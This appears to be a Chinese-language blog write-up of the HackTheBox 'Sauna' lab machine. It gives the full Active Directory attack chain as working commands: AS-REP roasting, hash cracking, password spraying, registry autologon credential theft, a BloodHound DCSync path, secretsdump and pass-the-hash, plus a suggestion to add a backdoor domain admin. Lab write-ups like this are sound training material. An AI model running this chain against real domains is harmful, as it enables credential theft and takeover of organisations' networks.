hackthebox-sauna-229

hackthebox sauna

sauna

port scan

使用rustscan做端口扫描,发现开放了80,139,445,369等端口;

services

使用gobuster对80http服务进行路径爆破。 发现存在以下路径:

http://10.10.10.175/Contact.html (Status: 200) [Size: 15634]

http://10.10.10.175/Blog.html (Status: 200) [Size: 24695]

http://10.10.10.175/Index.html (Status: 200) [Size: 32797]

http://10.10.10.175/Images (Status: 403) [Size: 1233]

http://10.10.10.175/About.html (Status: 200) [Size: 30954]

http://10.10.10.175/about.html (Status: 200) [Size: 30954]

http://10.10.10.175/blog.html (Status: 200) [Size: 24695]

http://10.10.10.175/contact.html (Status: 200) [Size: 15634]

http://10.10.10.175/css (Status: 403) [Size: 1233]

http://10.10.10.175/fonts (Status: 403) [Size: 1233]

http://10.10.10.175/index.html (Status: 200) [Size: 32797]

http://10.10.10.175/index.html (Status: 200) [Size: 32797]

http://10.10.10.175/images (Status: 403) [Size: 1233]

http://10.10.10.175/single.html (Status: 200) [Size: 38059]

在about页面收集员工姓名列表,如下:

Fergus Smith

Shaun Coins

Sophie Driver

Bowie Taylor

Hugo Bear

Steven Kerb

使用username-anarchy对已知姓名进行用户名列表输出。

1
./username-anarchy -i /root/labs/01-htb/010-active-directory/sauna/dump/username.http.lst | tee /root/labs/01-htb/010-active-directory/sauna/dump/username-anarchy.lst

username-anarchy create username list

使用impacket-GetNPUsers尝试获取指定用户名的AS-REP

1
impacket-GetNPUsers -request -outputfile './0818-egotistical-bank.local.txt' -format john -usersfile './username-anarchy.lst' -no-pass -dc-ip '10.10.10.175' 'egotistical-bank.local/'

impacket-GetNPUsers get AS-REP

使用john对获得的hash进行爆破.

1
john-Rockyou ./0818-egotistical-bank.local.txt

爆破得到凭据fsmith / Thestrokes23

john crack AS-REP hash

使用cmefsmith / Thestrokes23凭据获得用户密码策略,查看能否尝试密码喷洒,而不会锁定账号。

1
cme smb '10.10.10.175' -u 'fsmith' -p 'Thestrokes23' --pass-pol

Account Lockout Threshold: None:账户锁定前可尝试次数,未定义即为:不会锁定账户;可放心喷洒。 cme get -pass-pol

使用cme将已知密码和用户列表进行喷洒。

1
cme smb '10.10.10.175' -u './egotistical-bank.local.username.lst' -p 'Thestrokes23' --continue-on-success

可得到hsmith / Thestrokes23 (常规动作,仅做记录)

cme password spray

可尝试根据Thestrokes23后两位数字规则,使用john生成对应规则密码字典。

/etc/john/john.conf[List.Rules:All]配置段落后添加自定义规则。 再使用john以新规则生成字典。

1
john --wordlist=./pass.org --rule=append2nu --stdout | tee thestrokes.pass.lst

在john配置文件中添加自定义规则

john create pass dict with rule

再使用hydra,cme等工具进行密码爆破。未发现成功结果。

foothold

使用evil-winrmfsmith / Thestrokes23凭据尝试登录winrm.

1
evil-winrm -i '10.10.10.175' -u 'fsmith' -p 'Thestrokes23'

evil-winrm login fsmith winrm

priv esca

以fsmith用户枚举信息。 查询注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon,以确定保存的自动登录用户凭据。

1
reg.exe query 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon'

查询到svc_loanmanager / Moneymakestheworldgoround!,根据额外枚举到的用户信息,用户名应该是svc_loanmgr

reg query autologon credentials

svc_loanmgr用户属于Remote Management User用户组,使用 svc_loanmgr / Moneymakestheworldgoround! 凭据尝试登录wirm.

使用bloodhound工具以svc_loanmgr用户身份,导出域内关系图,发现svc_loanmgr具有DCSync攻击路径。

1
bloodhound-python -c 'all' -d 'egotistical-bank.local' -u 'svc_loanmgr' -p 'Moneymakestheworldgoround!' -ns '10.10.10.175' -dc 'sauna.egotistical-bank.local' -gc 'sauna.egotistical-bank.local' --zip

bloodhound collection domain information

使用Find Principals with DCSync Rights查询语句查询所有具有DCSync权限的用户. bloodhound find DCSync attack vector

使用impacket-secretsdumpsvc_loanmgr凭据dump整个域内用户的hash.

1
impacket-secretsdump  -dc-ip '10.10.10.175' -target-ip '10.10.10.175' 'egotistical-bank.local/svc_loanmgr:Moneymakestheworldgoround!@10.10.10.175'

impacket-secretsdump

得到administrator的hash后,可以使用evil-winrmpass-the-hash进行登录。

evil-winrm pass the hash

post

域内用户hash已经dump,可以尝试添加后门域管用户。

other func

提权做信息收集时,可以使用peass进行自动收集,同样可以收集到autologon credentials

作者

cSan

发布于

2023-08-18

更新于

2023-08-18

许可协议